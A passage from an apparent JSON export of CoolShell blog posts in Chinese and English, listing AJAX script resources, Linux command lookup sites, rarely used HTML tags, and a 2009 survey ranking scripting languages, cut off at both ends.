\"ajax-css-flickr-like-editing-fields1\")](http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/)\n\n\n8. [AJAX Instant Edit](http://www.ideasfreelance.com/lab/instant_edit/)  \n\n[![](../wp-content/uploads/2009/02/ajax-instant-edit.png \"ajax-instant-edit\")](http://www.ideasfreelance.com/lab/instant_edit/)\n\n\n### **Tab and Menu Scripts**\n\n\n9. [14 Tab-Based Interface Techniques](http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/)  \n\n[![](../wp-content/uploads/2009/02/14-tab-based-interface-techniques.png \"14-tab-based-interface-techniques\")](http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/)\n\n\n10. [AJAX Accordion Navigation](http://demos.mootools.net/Accordion)  \n\n[![](../wp-content/uploads/2009/02/ajax-accordion-navigation1.png \"ajax-accordion-navigation1\")](http://demos.mootools.net/Accordion)\n\n\n11. [AJAX Dialogs, Menus, Grids, Trees and Views](http://extjs.com/deploy/ext/docs/)  \n\n[![](../wp-content/uploads/2009/02/ajax-dialogs-menus-grids-trees-and-views.png \"ajax-dialogs-menus-grids-trees-and-views\")](http://extjs.com/deploy/ext/docs/)\n\n\n12. [AJAX Tab Module – Closeable Implementation](http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php)  \n\n[![](../wp-content/uploads/2009/02/ajax-tab-module-closeable-implementation.png \"ajax-tab-module-closeable-implementation\")](http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php)\n\n\n13. [Ajax Tabs Content](http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/)  \n\n[![](../wp-content/uploads/2009/02/ajax-tabs-content.png \"ajax-tabs-content\")](http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/)\n\n\n14. [MooTabs – Tiny tab class for MooTools](http://www.silverscripting.com/mootabs/)  \n\n[![](../wp-content/uploads/2009/02/mootabs-tiny-tab-class-for-mootools.png \"mootabs-tiny-tab-class-for-mootools\")](http://www.silverscripting.com/mootabs/)\n\n\n15. [Dynamically loaded articles](http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles)  \n\n[![](../wp-content/uploads/2009/02/dynamically-loaded-articles.png \"dynamically-loaded-articles\")](http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles)\n\n\n### **Calendar/Datetime Scripts**\n\n\n16. [AJAX Datetime Toolbocks – Intuitive Date Input Selection](http://datetime.toolbocks.com/)  \n\n[![](../wp-content/uploads/2009/02/ajax-datetime-toolbocks-intuitive-date-input-selection.jpg \"ajax-datetime-toolbocks-intuitive-date-input-selection\")](http://datetime.toolbocks.com/)\n\n\n17. [AJAX Calendars](http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/)  \n\n[![](../wp-content/uploads/2009/02/ajax-calendars.jpg \"ajax-calendars\")](http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/)\n\n\n### **Interactive Elements Scripts**\n\n\n18. [AJAX Floating Windows](http://prototype-window.xilinus.com/)  \n\n[![](../wp-content/uploads/2009/02/ajax-floating-windows.png \"ajax-floating-windows\")](http://prototype-window.xilinus.com/)\n\n\n19. [AJAX Star Rating Bar](http://prototype-window.xilinus.com/)  \n\n[![](../wp-content/uploads/2009/02/ajax-star-rating-bar.png \"ajax-star-rating-bar\")](http://delimitdesign.com/wp-content/uploads/2009/02/ajax-star-rating-bar.png)\n\n\n20. [Ajax poller](http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller)  \n\n[![](../wp-content/uploads/2009/02/ajax-poller1.png \"ajax-poller1\")](http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller)\n\n\n### **Developer’s Suite Scripts**\n\n\n21. [AJAX HistoryManager, Pagination](http://digitarald.de/project/historymanager/)  \n\n[![](../wp-content/uploads/2009/02/ajax-historymanager-pagination.png \"ajax-historymanager-pagination\")](http://digitarald.de/project/historymanager/)\n\n\n22. [AJAX Login System Demo](http://www.jamesdam.com/ajax_login/login.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-login-system-demo.png \"ajax-login-system-demo\")](http://www.jamesdam.com/ajax_login/login.html)\n\n\n23. [AJAX image preloader](http://www.roscripts.com/Javascript_image_preloader-111.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-image-preloader1.png \"ajax-image-preloader\")](http://www.roscripts.com/Javascript_image_preloader-111.html)\n\n\n24. [AJAX Tooltips: Nice Titles revised | Blog | 1976design.com](http://www.1976design.com/blog/archive/2003/11/21/nice-titles/)  \n\n[![](../wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design1.gif \"ajax-tooltips-nice-titles-revised-blog-1976design\")](http://www.1976design.com/blog/archive/2003/11/21/nice-titles/)\n\n\n25. [40+ Tooltips Scripts With AJAX, JavaScript & CSS | Smashing Magazine](http://www.1976design.com/blog/archive/2003/11/21/nice-titles/)  \n\n[![](../wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png \"40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine\")](http://delimitdesign.com/wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png)\n\n\n26. [AJAX Web Controls](http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx)  \n\n[![](../wp-content/uploads/2009/02/ajax-web-controls.png \"ajax-web-controls\")](http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx)\n\n\n27. [AJAX syntaxhighlighter](http://code.google.com/p/syntaxhighlighter/)  \n\n[![](../wp-content/uploads/2009/02/ajax-syntaxhighlighter.png \"ajax-syntaxhighlighter\")](http://code.google.com/p/syntaxhighlighter/)\n\n\n28. [Transparent Message](http://transparent-message.xilinus.com/)  \n\n[![](../wp-content/uploads/2009/02/transparent-message.png \"transparent-message\")](http://transparent-message.xilinus.com/)\n\n\n29. [ModalBox — An easy way to create popups and wizards](http://wildbit.com/demos/modalbox/)  \n\n[![](../wp-content/uploads/2009/02/modalbox-e28094-an-easy-way-to-create-popups-and-wizards.png \"modalbox-e28094-an-easy-way-to-create-popups-and-wizards\")](http://wildbit.com/demos/modalbox/)\n\n\n30. [Chained select boxes](http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select)  \n\n[![](../wp-content/uploads/2009/02/chained-select-boxes.png \"chained-select-boxes\")](http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select)\n\n\n31. [Fly to basket](http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket)  \n\n[![](../wp-content/uploads/2009/02/fly-to-basket.png \"fly-to-basket\")](http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket)\n\n\n32. [AJAX Key Events Signal](http://www.mochikit.com/examples/key_events/index.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-key-events-signal.png \"ajax-key-events-signal\")](http://www.mochikit.com/examples/key_events/index.html)\n\n\n33. [Disable form submit on enter keypress](http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html)  \n\n[![](../wp-content/uploads/2009/02/disable-form-submit-on-enter-keypress.png \"disable-form-submit-on-enter-keypress\")](http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html)\n\n\n### **Enhanced Solutions**\n\n\n34. [AJAX Instant Completion](http://www.openrico.org/demos/complex_ajax)  \n\n[![](../wp-content/uploads/2009/02/ajax-instant-completion.png \"ajax-instant-completion\")](http://www.openrico.org/demos/complex_ajax)\n\n\n35. [Novemberborn: Event Cache](http://novemberborn.net/javascript/event-cache)  \n\n[![](../wp-content/uploads/2009/02/novemberborn-event-cache.png \"novemberborn-event-cache\")](http://novemberborn.net/javascript/event-cache)\n\n\n36. [Altering CSS Class Attributes with JavaScript](http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.html)  \n\n[![](../wp-content/uploads/2009/02/altering-css-class-attributes-with-javascript.png \"altering-css-class-attributes-with-javascript\")](http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.htm)\n\n\n37. [Select Some Checkboxes JavaScript Function](http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html)  \n\n[![](../wp-content/uploads/2009/02/select-some-checkboxes-javascript-function.png \"select-some-checkboxes-javascript-function\")](http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html)\n\n\n38. [AJAX Emprise Charts](http://www.ejschart.com/index.php)  \n\n[![](../wp-content/uploads/2009/02/ajax-emprise-charts.png \"ajax-emprise-charts\")](http://www.ejschart.com/index.php)\n\n\n39. [amCharts: customizable flash Pie & Donut chart](http://www.amcharts.com/pie/)  \n\n[![](../wp-content/uploads/2009/02/amcharts-customizable-flash-pie-donut-chart.png \"amcharts-customizable-flash-pie-donut-chart\")](http://www.amcharts.com/pie/)\n\n\n40. [PJ Hyett : The Lightbox Effect without Lightbox](http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox)  \n\n[![](../wp-content/uploads/2009/02/pj-hyett-the-lightbox-effect-without-lightbox.jpg \"pj-hyett-the-lightbox-effect-without-lightbox\")](http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox)\n\n\n### **Forms**\n\n\n41. [AJAX Upload Form](http://digitarald.de/playground/uplooad.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-upload-form.png \"ajax-upload-form\")](http://digitarald.de/playground/uplooad.html)\n\n\n42. [An AJAX contact form](http://www.dustindiaz.com/ajax-contact-form/)  \n\n[![](../wp-content/uploads/2009/02/an-ajax-contact-form1.png \"an-ajax-contact-form1\")](http://www.dustindiaz.com/ajax-contact-form/)\n\n\n43. [AJAX contact form](http://www.roscripts.com/AJAX_contact_form-144.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-contact-form.png \"ajax-contact-form\")](http://delimitdesign.com/wp-content/uploads/2009/02/ajax-contact-form.png)\n\n\n44. [Ajax.Form](http://www.roscripts.com/AJAX_contact_form-144.html)  \n\n[![](../wp-content/uploads/2009/02/ajaxform.png \"ajaxform\")](http://delimitdesign.com/wp-content/uploads/2009/02/ajaxform.png)\n\n\n45. [Ajax form validation](http://www.roscripts.com/Ajax_form_validation-152.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-form-validation.png \"ajax-form-validation\")](http://www.roscripts.com/Ajax_form_validation-152.htm)\n\n\n46. [Really easy field validation](http://tetlaw.id.au/view/javascript/really-easy-field-validation)  \n\n[![](../wp-content/uploads/2009/02/really-easy-field-validation.png \"really-easy-field-validation\")](http://tetlaw.id.au/view/javascript/really-easy-field-validation)\n\n\n47. [AJAX fValidate](http://www.phil-taylor.com/fvalidate/)  \n\n[![](../wp-content/uploads/2009/02/ajax-fvalidate.png \"ajax-fvalidate\")](http://www.phil-taylor.com/fvalidate/)\n\n\n48. [Ajax newsletter form](http://www.roscripts.com/Ajax_newsletter_form-146.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-newsletter-form.png \"ajax-newsletter-form\")](http://www.roscripts.com/Ajax_newsletter_form-146.html)\n\n\n49. [wForms](http://www.formassembly.com/wForms/)  \n\n[![](../wp-content/uploads/2009/02/wforms.png \"wforms\")](http://www.formassembly.com/wForms/)\n\n\n### **Tables and Grids**\n\n\n50. [Data Grids with AJAX, DHTML and JavaScript | Smashing Magazine](http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/)  \n\n[![](../wp-content/uploads/2009/02/data-grids-with-ajax-dhtml-and-javascript-smashing-magazine.png \"data-grids-with-ajax-dhtml-and-javascript-smashing-magazine\")](http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/)\n\n\n51. [Grid3 Example](http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html)  \n\n[![](../wp-content/uploads/2009/02/grid3-example.png \"grid3-example\")](http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html)\n\n\n52. [AJAX Table Sort Script (revisited)](http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited)  \n\n[![](../wp-content/uploads/2009/02/ajax-table-sort-script-revisited.png \"ajax-table-sort-script-revisited\")](http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited)\n\n\n53. [AJAX Sortable Tables](http://www.mochikit.com/examples/ajax_tables/index.html)  \n\n[![](../wp-content/uploads/2009/02/ajax-sortable-tables.png \"ajax-sortable-tables\")](http://www.mochikit.com/examples/ajax_tables/index.html)\n\n\n54. [AJAX TableKit](http://www.millstream.com.au/view/code/tablekit/)  \n\n[![](../wp-content/uploads/2009/02/ajax-tablekit.png \"ajax-tablekit\")](http://www.millstream.com.au/view/code/tablekit/)\n\n\n### **Showcases, Galleries, and Lightbox Scripts**\n\n\n55. [30 Scripts For Galleries, Slideshows and Lightboxes | Smashing Magazine](http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/)  \n\n[![](../wp-content/uploads/2009/02/30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1.png \"30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1\")](http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/)\n\n\n56. [AJAX LightBox, Sexy Box, Thick Box](http://www.nofunc.com/Sexy_Box/)  \n\n[![](../wp-content/uploads/2009/02/ajax-lightbox-sexy-box-thick-box.png \"ajax-lightbox-sexy-box-thick-box\")](http://www.nofunc.com/Sexy_Box/)\n\n\n57. [AJAX Lightbox JS](http://www.huddletogether.com/projects/lightbox/)  \n\n[![](../wp-content/uploads/2009/02/ajax-lightbox-js.png \"ajax-lightbox-js\")](http://www.huddletogether.com/projects/lightbox)\n\n\n58. [AJAX Unobtrusive Popup – GreyBox](http://orangoo.com/labs/GreyBox/)  \n\n[![](../wp-content/uploads/2009/02/ajax-unobtrusive-popup-greybox.png \"ajax-unobtrusive-popup-greybox\")](http://orangoo.com/labs/GreyBox/)\n\n\n59. [SmoothGallery: Mootools Mojo for Images | Full gallery](http://smoothgallery.jondesign.net/showcase/gallery/)  \n\n[![](../wp-content/uploads/2009/02/smoothgallery-mootools-mojo-for-images-full-gallery.png \"smoothgallery-mootools-mojo-for-images-full-gallery\")](http://smoothgallery.jondesign.net/showcase/gallery/)\n\n\n60. [AJAX Libraries and Frameworks](http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/)  \n\n[![](../wp-content/uploads/2009/02/ajax-libraries-and-frameworks.png \"ajax-libraries-and-frameworks\")](http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/)\n\n\n### **Animation and Visual Effects Scripts**\n\n\n61. [How to Create Digg Comment Style Sliding DIVs with Javascript and CSS](http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css)  \n\n[![](../wp-content/uploads/2009/02/how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1.gif \"how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1\")](http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css)\n\n\n62. [How to Create a Collapsible DIV with Javascript and CSS](http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/)  \n\n[![](../wp-content/uploads/2009/02/how-to-create-a-collapsible-div-with-javascript-and-css1.png \"how-to-create-a-collapsible-div-with-javascript-and-css1\")](http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/)\n\n\n63. [How to Create an Animated, Sliding, Collapsible DIV with Javascript and CSS](http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/)  \n\n[![](../wp-content/uploads/2009/02/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css.png \"how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css\")](http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/)\n\n\n64. [AJAX Shopcart](http://demo.script.aculo.us/shop)  \n\n[![](../wp-content/uploads/2009/02/ajax-shopcart.png \"ajax-shopcart\")](http://demo.script.aculo.us/shop)\n\n\n65. [Draggable content](http://www.dhtmlgoodies.com/index.html?showDownload=true&whichScript=dragable-content)  \n\n[![](../wp-content/uploads/2009/02/draggable-content.png \"draggable-content\")](http://www.dhtmlgoodies.com/index.html?showDownload=true&whichScript=dragable-content)\n\n\n66. [Dragable RSS boxes](http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes)  \n\n[![](../wp-content/uploads/2009/02/dragable-rss-boxes.png \"dragable-rss-boxes\")](http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes)\n\n\n67. [AJAX Pull Down Effect](http://www.openrico.org/demos?demo=pull_down)  \n\n[![](../wp-content/uploads/2009/02/ajax-pull-down-effect.png \"ajax-pull-down-effect\")](http://www.openrico.org/demos?demo=pull_down)\n\n\n68. [AJAX Animation Effects](http://www.openrico.org/demos?demo=effect_animation)  \n\n[![](../wp-content/uploads/2009/02/ajax-animation-effects.png \"ajax-animation-effects\")](http://www.openrico.org/demos?demo=effect_animation)\n\n\n69. [Combination Effects in scriptaculous wiki](http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects)  \n\n[![](../wp-content/uploads/2009/02/combination-effects-in-scriptaculous-wiki.png \"combination-effects-in-scriptaculous-wiki\")](http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects)\n\n\n70. [AJAX Motion Transition](http://demos.mootools.net/Fx.Morph)  \n\n[![](../wp-content/uploads/2009/02/ajax-motion-transition.png \"ajax-motion-transition\")](http://demos.mootools.net/Fx.Morph)\n\n\n### **Useful Javascript Scripts**\n\n\n71. [9 Javascript(s) you better not miss!](http://www.codecoffee.com/articles/9tips.html)  \n\n[![](../wp-content/uploads/2009/02/9-javascripts-you-better-not-miss.png \"9-javascripts-you-better-not-miss\")](http://www.codecoffee.com/articles/9tips.html)\n\n\n72. [Top 10 custom JavaScript functions of all time](http://www.dustindiaz.com/top-ten-javascript/)  \n\n[![](../wp-content/uploads/2009/02/top-10-custom-javascript-functions-of-all-time1.png \"top-10-custom-javascript-functions-of-all-time1\")](http://www.dustindiaz.com/top-ten-javascript/)\n\n\n73. [Hyperdisc Materials: JavaScript: Top 10: Automatic Breadcrumb Trail](http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm)  \n\n[![](../wp-content/uploads/2009/02/hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail.png \"hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail\")](http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm)\n\n\n74. [JavaScript: Top 10 Most Useful JavaScripts](http://hyperdisc.unitec.ac.nz/materials/javascript/top10/)  \n\n[![](../wp-content/uploads/2009/02/javascript-top-10-most-useful-javascripts.png \"javascript-top-10-most-useful-javascripts\")](http://hyperdisc.unitec.ac.nz/materials/javascript/top10/)\n\n\n75. [My Favorite Javascripts for Designers: Blakems.com ?](http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&first_name=asdad&last_name=dasdad&emailer=dasdad)  \n\n[![](../wp-content/uploads/2009/02/my-favorite-javascripts-for-designers-blakems-com.png \"my-favorite-javascripts-for-designers-blakems-com\")](http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&first_name=asdad&last_name=dasdad&emailer=dasdad)\n\n\n### **More Resources and Galleries**\n\n\n76. [Max Kiesler – mHub : Ajax and rails examples & how-to’s](http://www.maxkiesler.com/index.php/mhub/category/)  \n\n[![](../wp-content/uploads/2009/02/max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s.png \"max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s\")](http://www.maxkiesler.com/index.php/mhub/category/)\n\n\n77. [Ajax Resources](http://ajax.solutoire.com/)  \n\n[![](../wp-content/uploads/2009/02/ajax-resources.png \"ajax-resources\")](http://ajax.solutoire.com/)\n\n\n78. [DZone Snippets: Store, sort and share source code, with tag goodness](http://snippets.dzone.com/)  \n\n[![](../wp-content/uploads/2009/02/dzone-snippets-store-sort-and-share-source-code-with-tag-goodness.png \"dzone-snippets-store-sort-and-share-source-code-with-tag-goodness\")](http://snippets.dzone.com/)\n\n\n文章来源：[链接](http://delimitdesign.com/ajax/80-ajax-solutions-that-are-usefull-and-innovative/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [![Ajax开发利器UIzard ](../wp-content/uploads/2009/10/uizard2-150x150.jpg)](https://coolshell.cn/articles/1611.html)[Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\nThe post [80个优秀的AJAX方案](https://coolshell.cn/articles/57.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-8 Linux 命令速查.md",
    "content": "---\nlayout: post\ntitle: Linux 命令速查\ndate: 2009/3/8/ 12:57:41\nupdated: 2009/3/8/ 12:57:41\nstatus: publish\npublished: true\ntype: post\n---\n\n下面两个网站可以方便地检索Linux下的命令及一些用法。我比较喜欢第一个，不仅仅是因为它支持中文，而且他还给所有的命令做了一个分类。而第二个类似于一个速查手册，有些像man手册。\n\n\n有些时候，如果知道了命令，用linux下的man手册会显得更加方便，但在Linux下，太多的命令不是我们不会用，而是我们不知道。所以，类别检索就会显得很关键了，这正是我向大家推荐第一个网站的原因。\n\n\n* <http://www.linuxcmd.org/cn/>\n* <http://oreilly.com/linux/command-directory/>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux 命令速查](https://coolshell.cn/articles/64.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-9 几个你可能从来没有用过的HTML标识.md",
    "content": "---\nlayout: post\ntitle: 几个你可能从来没有用过的HTML标识\ndate: 2009/3/9/ 12:54:14\nupdated: 2009/3/9/ 12:54:14\nstatus: publish\npublished: true\ntype: post\n---\n\n下面有三个HTML的标识，你可能从来没有用过。\n\n\n**第一个：<abbr> 或 <acronym>**  \n\n这两个标识是一回事，主要是用于一些英语的缩写，当你把鼠标移上去的时候，你会发现会出现一个小提示来提示缩写的全称。下面是一个示例：\n\n\n1. HTML\n2. IEEE\n3. RTFSC\n\n\n\n```\n\nHTML \n IEEE \nRTFSC\n\n```\n\n\n**第二个：<q>**这个标识主要就是把引用的文字加上双引号，这个标识看来好像很没有什么意思。官方说是为了方便，可我总觉得这个标识还不如直接输入双引号来的方便。好像的确没什么。难道这个标识只能在Firefox下看到，IE就不支持了。下面是个示例：\n\n\n这个是一句引言\n\n\n\n```\n\n这个是一句引言\n\n```\n\n**第三个，<bdo>**  \n\n这个标识很有意思，可以把从左到右的字序全部反转过来。比如：May I help you sir ? 如果加上了这个标识后，就是下面这个样子：\n\n\n1. May I help you sir ?\n2. 什么事可以为你效劳啊？\n\n\n\n```\n\nMay I help you sir ?\n什么事可以为你效劳啊？\n\n```\n\n**第四个，<del>**  \n\n为你的字符串加上删除线。如：~~这是一段删除文字~~。\n\n\n\n```\n\n~~这是一段删除文字~~\n\n```\n\n**第五、六个，<sub><sup>**  \n\n这两个是下标和上标。下面是示例：  \n\n这是一个下标，这是一个上标。\n\n\n\n```\n\n这是一个下标，这是一个上标\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\nThe post [几个你可能从来没有用过的HTML标识](https://coolshell.cn/articles/67.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-1 2009年脚本语言排名.md",
    "content": "---\nlayout: post\ntitle: 2009年脚本语言排名\ndate: 2009/4/1/ 9:25:3\nupdated: 2009/4/1/ 9:25:3\nstatus: publish\npublished: true\ntype: post\n---\n\nEDC（Evan Data Corporation）发布了一份脚本语言的调查报告，这个调查报告调查了500个以上的开发者和IT专家，在这份调查表中，PHP, Ruby和Python成为了前三强。这个调查总共调查了这些脚本语言：Actionscript, Flex, Javascript, Microsoft F#, Microsoft Powershell, Perl, PHP, Python, Ruby, VB Script。主要评估以下这些方面：\n\n\n- 易用性。Ease of Use [![overall](../wp-content/uploads/2009/04/overall-300x185.jpg \"overall\")](https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg)\n\n- 异常处理。Exception handling\n\n- 扩展性。Extensibility\n\n- 可维护性和易读性。Maintainability / Readability\n\n- 跨平台。Cross-platform portability\n\n- 社区。Community\n\n- 实用性。Availability of tools\n\n- 质量。Quality of tools\n\n- 性能。Performance\n\n- 内存管理。Memory management\n\n- 客户端脚本。Client side scripting\n\n- 安全性。Security\n\n\n下面是一些关于这份调查表的图示：（关于整个报告，大家可以到这里下载：<http://www.evansdata.com/reports/viewRelease_download.php?reportID=18>）\n\n\n对于综合性的排名，报告中说到“**排名向前的都是一些开源的语言，因为开源所发发展得非常快也很不错。而排名靠后的则是一些私有的，收费的语言**”\n\n\n[![overall](../wp-content/uploads/2009/04/overall.jpg \"overall\")](https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg)\n\n\n 下面是各个评估方面的排名。（我只从报告中抽取了几个方面）\n\n\n**易用性**\n\n\n[![ease](../wp-content/uploads/2009/04/ease.jpg \"ease\")](https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg)\n\n\n**扩展性**\n\n\n[![extensibility](../wp-content/uploads/2009/04/extensibility.jpg \"extensibility\")](https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg)\n\n\n \n\n\n**可维护性/易读性**\n\n\n[![maintainability](../wp-content/uploads/2009/04/maintainability.jpg \"maintainability\")](https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg)\n\n\n**实用性**\n\n\n[![availability](../wp-content/uploads/2009/04/availability.jpg 